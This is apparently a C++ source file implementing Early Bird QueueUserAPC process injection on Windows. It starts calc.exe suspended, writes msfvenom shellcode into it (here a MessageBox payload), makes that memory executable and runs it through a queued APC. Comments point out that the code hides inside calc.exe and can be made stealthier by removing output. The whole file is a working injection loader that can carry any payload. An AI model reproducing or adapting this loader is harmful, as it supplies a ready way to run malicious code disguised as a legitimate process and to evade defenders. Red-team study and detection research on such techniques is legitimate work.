EarlyBirdQueueUserAPCInjection.cpp

// Remove all the printf functions for being stealthy(In the sense, The terminal won't be visible to the user);

#include <Windows.h>
#include <stdio.h>

DWORD oldprotect = 0;
//shellcode for messagebox Created using msfvenom;
unsigned char shellcode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";

int main() {
	//When you use Process hacker or Task Manager, It will show calc.exe is running but under the hood, its actually running our shellcode;
	char TargetProcess[] = "C:\\Windows\\system32\\calc.exe";
	//Structure which defines how the target process should be started.
	STARTUPINFOA startprocess = { 0 };
	//Structure to get the information of the process.
	PROCESS_INFORMATION ProcInfo = { 0 };

	//Creating the process i.e calc.exe in suspended state which means, it will create a process but actually does nothing for now.
	BOOL PSCreate = CreateProcessA(TargetProcess, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startprocess, &ProcInfo);
	if (PSCreate == 0) {
		printf("[!] Failed to create a process.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Process created successfully\n");
	//Getting a handle to the process.
	HANDLE hProcess = ProcInfo.hProcess;
	//Getting an handle to the thread;
	HANDLE hThread = ProcInfo.hThread;
	//Function to allocate virtual memory in the target process;
	LPVOID virtualmem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
	if (virtualmem == NULL) {
		printf("[!] Failed to allocate memory.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Memory successfully allocated at\n\t\\----0x%p\n", virtualmem);

	//Self explanatory. Writing the shellcode into the process;
	BOOL writemem = WriteProcessMemory(hProcess, virtualmem, shellcode, sizeof(shellcode), NULL);
	if (writemem == 0) {
		printf("[!] Failed to write shellcode into the memory.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Written the shellcode into memory.\n");

	//Changing the memory protection so that when the thread resumes, it will execute our shellcode. We are just making our shellcode executable;
	BOOL changemem = VirtualProtectEx(hProcess, virtualmem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldprotect);
	if (changemem == 0) {
		printf("[!] Failed to change the memory protection.\nExiting with error: %ld\n", GetLastError());
		return EXIT_FAILURE;
	}
	printf("[+] Memory protection changed from PAGE_READ_WRITE to PAGE_EXECUTE_READ\n");

	//Queueing an APC funtion which points to our shellcode.
	QueueUserAPC((PAPCFUNC)virtualmem, hThread, NULL);
	//resuming the thread(main thread) which invokes the APC funtion which in turn executes our shellcode;
	ResumeThread(hThread);
	printf("[+] EarlyBirdQueueUserAPC Injection successfull.\n");
	printf("[*] Cleaning up\n");
	CloseHandle(hProcess);
	CloseHandle(hThread);

	return EXIT_SUCCESS;
}